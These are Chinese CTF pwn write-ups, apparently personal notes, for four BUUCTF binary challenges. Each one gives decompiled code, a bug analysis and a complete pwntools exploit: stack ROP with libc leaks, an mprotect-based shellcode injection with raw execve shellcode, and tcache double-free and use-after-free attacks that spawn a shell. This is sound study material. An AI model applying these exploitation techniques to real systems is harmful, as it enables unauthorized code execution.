太水太模板化的题不记录,感觉有新东西学或需要重点记录的单独开文

格式:## [题源]题目名

[OGeek2019]babyrop

分析

main()
生成一个随机数然后写在数组里 --> 随机数作为参数调用sub_804871F() --> sub_804871F()的返回值作为参数调用sub_80487D0()

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

sub_80486BB()
定时闹钟,一段时间后程序自动退出
具体怎么实现的不太懂,这里不影响

int sub_80486BB()
{
  alarm(0x3Cu);
  signal(14, handler);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}

sub_804871F()
将随机数写在数组内 --> 输入字符串并截断末尾 --> 比较字符串和随机数的大小 --> 字符串小于随机数则返回字符串偏移为8处的值
这里明显是无法溢出的,而是需要我们绕过逻辑

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

sub_80487D0()
若传入参数等于127则无法溢出,若不等于127则可以溢出
所以需要构造这个参数足够大,能容得下整个payload

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    result = read(0, buf, 0xC8u);
  else
    result = read(0, buf, a1);
  return result;
}

其实这道题主要还是绕过它的逻辑来获得溢出的机会,剩下的就是常规的ROP
只讨论绕过部分的payload构造:

  • 先在开头用\x00绕过比较防止exit
  • 然后需要在payload的第8位构造一个足够大的值来容纳后面要输入的ROP链
    • 首先这个值至少要大于0xE7才能溢出
    • 平常使用的常规ASCII码是不够用的,需要用到拓展ASCII码
    • \xff是扩展ASCII码中的第0xff个字符,换成十进制就是255

exp

from pwn import *
# from LibcSearcher import *

# io = process("./pwn")
io = remote("node4.buuoj.cn",26771)
e = ELF('./pwn')
libc = ELF('./libc-2.23.so')

payload0 = b'\x00' + b'a'*6 + b'\xff'
io.sendline(payload0)
io.recvuntil('\n')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = 0x08048825
payload1 = b'a'*0xe7 + b'b'*0x04 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendline(payload1)
puts_addr = u32(io.recv(4))
# libc = LibcSearcher("puts",puts_addr)
# base = puts_addr - libc.dump("puts")
# sys_addr = base + libc.dump("system")
# binsh_addr = base + libc.dump("str_bin_sh")
base = puts_addr - libc.symbols['puts']
sys_addr = base + libc.symbols['system']
binsh_addr = base + next(libc.search(b'/bin/sh'))

io.sendline(payload0)
io.recvuntil("\n")

exit_addr = 0x08048558
payload2 = b'a'*0xe7 + b'b'*0x04 + p32(sys_addr) + p32(exit_addr) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()

用LibcSearcher的话本地可以打通,但打靶机的时候会找不到对的libc版本
所以直接使用题目给的libc最好(但是这样在本地就打不通了,不过重点不在这里,切换下就好)找str_bin_sh那里的next方法看不太懂是什么,但是不加的话search方法返回一个生成器导致类型错误

参考

[3DSCTF2016]get_started_3dsctf_2016

分析

反汇编出来一大堆函数,其中就有后门函数
本来是挺入门级的ret2text,但不同的地方在于这道题应该是把libc静态链接进去了(也有可能是重写的),然后大佬们就有了更多更有趣的解法
当然,我相信大佬们不只有下面这两种解法,只要libc在就可以有很多的可能

方法1

题目是开了NX保护的

可以通过vmprotect来修改某块内存地址的读写权限来执行shell

int mprotect(const void *startaddr, size_t len, int prot);

startaddr内存起始地址,len修改内存的长度,prot内存的权限

需要指出的是,指定的内存区间必须包含整个内存页(4K),区间开始的地址startaddr必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍0x1000=4096
prot = 7 表示可读可写可执行4+2+1=7(r=4,w=2,x=1)

单有vmprotect还不够,我们需要一段可写入的内存

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x80ea000 r-xp    a2000 0      xxx/get_started_3dsctf_2016
 0x80ea000  0x80ec000 rw-p     2000 a1000  xxx/get_started_3dsctf_2016
 0x80ec000  0x810f000 rw-p    23000 0      [heap]
0xf7ff8000 0xf7ffc000 r--p     4000 0      [vvar]
0xf7ffc000 0xf7ffe000 r-xp     2000 0      [vdso]
0xfffdc000 0xffffe000 rw-p    22000 0      [stack]

0x80ea0000x80ec000这段区域就有写权限(堆区那段也可以,栈区就不行了)

由于mprotectread都有三个参数,所以最后再找一段3pop ret的gadget就准备完成了

exp1

from pwn import *

q = process("./get_started_3dsctf_2016")
elf = ELF("./get_started_3dsctf_2016")

mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
# 内存权限改变的起始地址,也是shellcode写入的起始地址
start_addr = 0x80ea000
# 执行三个弹栈操作的汇编代码起始位置
pop_3_ret = 0x0804f460

payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(read_addr)
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)
shellcode = asm(shellcraft.sh())

q.sendline(payload)
sleep(0.1)
q.sendline(shellcode)
q.interactive()

方法2

第二个方法本质和上一个方法是一样的,只不过用了一个套娃的vmprotect

int __regparm3 _dl_make_stack_executable(uint *param_1) 
{
  int iVar1;
  int in_GS_OFFSET;
  
  if (*param_1 == __libc_stack_end) {
    iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot);
    if (iVar1 == 0) {
      *param_1 = 0;
      _dl_stack_flags = _dl_stack_flags | 1;
    }
    else {
      iVar1 = *(int *)(&DAT_ffffffe8 + in_GS_OFFSET);
    }
    return iVar1;
 
  return 1;
}

exp2

gadget没找好所以略显繁琐,但我懒得帮他改了

from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('./get_started_3dsctf_2016')
sh = process('get_started_3dsctf_2016')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
nops = b"\x90" * (56)
rop = nops
rop += p32(0x0806fc30) # pop edx ; ret
rop += p32(0x080eafec) # __stack_prot
rop += p32(0x01020304) # 下面两个值无意义,没有找到合适的gadget
rop += p32(0x05060708)
rop += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x07)       # 7 (PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE)
rop += p32(0x080557ab) # mov dword ptr [edx], eax ; ret

rop += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x080eafc8) # __libc_stack_end (param1通过eax传入)
rop += p32(0x0809aef0)  # _dl_make_stack_executable
rop += p32(0x08093d41) # push esp; ret (需要,把shellcode放入esp执行?)
rop += shellcode
print(rop)
with open("payload.txt", "wb") as f:
     f.write(rop)
sh.sendline(rop)
sh.interactive()

参考

[CISCN2019]ciscn_2019_en_3

分析

靶机环境是 Ubuntu18、glibc-2.27,试过确认 tcache 可以 double free

main()
经典增删查改,但其实这里只给增删不给查和改
前面那一堆 puts 里藏了一个 printf(太阴险了),存在格式化字符串漏洞

unsigned __int64 operation()
{
  int v1; // [rsp+Ch] [rbp-44h] BYREF
  char s[16]; // [rsp+10h] [rbp-40h] BYREF
  char buf[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Welcome to the story kingdom.");
  puts("What's your name?");
  read(0, buf, 32uLL);
  _printf_chk(1LL, buf);                        // format string (hard to use)
  puts("Please input your ID.");
  read(0, s, 8uLL);
  puts(s);
  while ( 1 )
  {
    menu();
    _isoc99_scanf("%d", &v1);
    getchar();
    switch ( v1 )
    {
      case 1:
        add();
        break;
      case 2:
        edit();
        break;
      case 3:
        show();
        break;
      case 4:
        delete();
        break;
      case 5:
        puts("Goodbye~");
        exit(0);
      default:
        puts("Wrong choice!");
        return __readfsqword(0x28u) ^ v4;
    }
  }
}

add()
指针写在了 .bss 段

unsigned __int64 add()
{
  int v0; // ebx
  int v2; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( dword_20204C > 16 )
    puts("Enough!");
  puts("Please input the size of story: ");
  _isoc99_scanf("%d", &v2);
  *(&unk_202060 + 4 * dword_20204C) = v2;       // .bss
  v0 = dword_20204C;
  *(&unk_202068 + 2 * v0) = malloc(v2);
  puts("please inpute the story: ");
  read(0, *(&unk_202068 + 2 * dword_20204C), v2);
  ++dword_20204C;
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

delete()
没有清空指针,存在 UAF 可以一把梭

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  _isoc99_scanf("%d", &v1);
  free(*(&unk_202068 + 2 * v1));                // double free
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

最后考虑如何泄露 libc 地址,考虑利用前面的格式化字符串(也有用输出 ID 那里的 puts 的做法,不过没太搞懂栈帧为什么会这样排布)
调试发现setbuffer+231恰好在 name 上方,只需八个%p就能刚好泄露到那

利用这个setbuffer来泄露 libc即可
最后就是 double free -> 篡改 fd -> 篡改 free_hook -> one_gadget getshell

exp

from pwn import *

# io = process('./ciscn_2019_en_3')
io = remote('node4.buuoj.cn', 26161)
libc = ELF('./libc-2.27.so')

def add(size, buf):
    io.recvuntil("Input your choice:")
    io.sendline('1')
    io.recvuntil("Please input the size of story: \n")
    io.sendline(str(size))
    io.recvuntil("please inpute the story: \n")
    io.sendline(buf)

def delete(index):
    io.recvuntil("Input your choice:")
    io.sendline('4')
    io.recvuntil("Please input the index:\n")
    io.sendline(str(index))

io.recvuntil("name?")
io.sendline(b'%p'*8)
io.recvline()
setbuffer = int(encode(io.recvline()[-15:-1]),16)
libc_base = setbuffer - 0x81237
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322
io.recvuntil("ID.")
io.sendline('aaa')
io.recvuntil('aaa')

add(0x100, 'aaa')
add(0x100, 'aaa')
delete(0)
delete(0)
add(0x100, p64(free_hook))
add(0x100, p64(one_gadget))
add(0x100, p64(one_gadget))
delete(1)

io.interactive()

[CISCN2019]ciscn_2019_n_3

靶机环境是 32 位 Ubuntu18、glibc-2.27
查了网上几个人的分析都说是 fast bin attack,调试截图也是 fast bin,但直觉上释放的堆块应该进入 tcache 才对,调试查看 tcache 的结构体也确认确实如此

分析

main()里经典增删查,这里就不贴出来了

do_new()

int do_new()
{
  int v1; // eax
  int v2; // [esp+0h] [ebp-18h]
  int v3; // [esp+4h] [ebp-14h]
  unsigned int size; // [esp+Ch] [ebp-Ch]

  v2 = ask("Index");
  if ( v2 < 0 || v2 > 16 )
    return puts("Out of index!");
  if ( records[v2] )
    return printf("Index #%d is used!\n", v2);
  records[v2] = malloc(0xCu);                   // struct: *type_print() *type_free() value/*ptr
  v3 = records[v2];
  *v3 = rec_int_print;
  *(v3 + 4) = rec_int_free;
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  v1 = ask("Type");
  if ( v1 == 1 )
  {
    *(v3 + 8) = ask("Value");
  }
  else
  {
    if ( v1 != 2 )
      return puts("Invalid type!");
    size = ask("Length");
    if ( size > 0x400 )
      return puts("Length too long, please buy pro edition to store longer note!");
    *(v3 + 8) = malloc(size);
    printf("Value > ");
    fgets(*(v3 + 8), size, stdin);
    *v3 = rec_str_print;
    *(v3 + 4) = rec_str_free;
  }
  puts("Okey, got your data. Here is it:");
  return (*v3)(v3);
}

do_del()

int do_del()
{
  int v0; // eax

  v0 = ask("Index");
  return (*(records[v0] + 4))(records[v0]);     // *type_free()
}

比较特殊的是这里其实 malloc 出来的堆块存放的是一个结构体,大概长这样

// when user choose 'Text'
struct chunk
{
    void *rec_str_print();
    void *rec_str_free();
    char *str;
}

// when user choose 'Integer'
struct chunk
{
    void *rec_int_print();
    void *rec_int_free();
    int number;
}

结构体内存放两个函数指针,分别应付两种类型的不同需求
当选择字符串型时还会额外申请一个堆块用于存放数据,这点后面会加以利用

初步的想法是覆盖结构体里的函数指针,从而在 delete/show 时能直接调用 system

接下来动态调试下
这里发现可能是alarm()的原因无法直接使用 gdb 调试,只能在 exp 里gdb.attach(),非常的 amazing

delete 堆块前
堆的排布顺序依次是:chunk 0 -> chunk 0 string -> chunk 1 -> chunk 1 string -> chunk 2

exp 最终排布
堆的排布顺序依次是:chunk 0 -> chunk 0 string -> chunk 3 string = free_chunk 1 -> free_chunk 1 string ->chunk 3 = free_chunk 2

由于 tcache/fast bin 使用 FILO 策略,这里申请的 chunk 3 的 value 块就被分配到了原来的 chunk 1,然后改写 chunk 1 的两个函数指针为sh\x00\x00(因为只有四个字节/bin/sh\x00塞不进去,填bash也可以)和 system 的 plt,然后利用 UAF 将其作为 chunk 1 释放来实现调用system("sh")

exp

from pwn import *

io = process('./ciscn_2019_n_3')
# io = remote('node4.buuoj.cn', 26563)
libc = ELF('./libc-2.27.so')
elf = ELF('./ciscn_2019_n_3')

def add_int(index, value):
    io.sendlineafter('CNote > ', '1')
    io.sendlineafter('Index > ', str(index))
    io.sendlineafter('Type > ', '1') 
    io.sendlineafter('Value > ', str(value))

def add_str(index, value, length):
    io.sendlineafter('CNote > ', '1')
    io.sendlineafter('Index > ', str(index))
    io.sendlineafter('Type > ', '2') 
    io.sendlineafter('Length > ', str(length))
    io.sendlineafter('Value > ', value)

def delete(index):
    io.sendlineafter('CNote > ', '2')
    io.sendlineafter('Index > ', str(index))

def show(index):
    io.sendlineafter('CNote > ', '3')
    io.sendlineafter('Index > ', str(index))

add_str(0, b'aaa', 0x10)
add_str(1, b'aaa', 0x10)
add_int(2, 1)
delete(1)
delete(2)

system_plt = elf.plt['system']
add_str(3, b'sh\x00\x00' + p32(system_plt), 0xc)    # Integer 的结构体的大小正好适合覆盖指针
delete(1)

io.interactive()

参考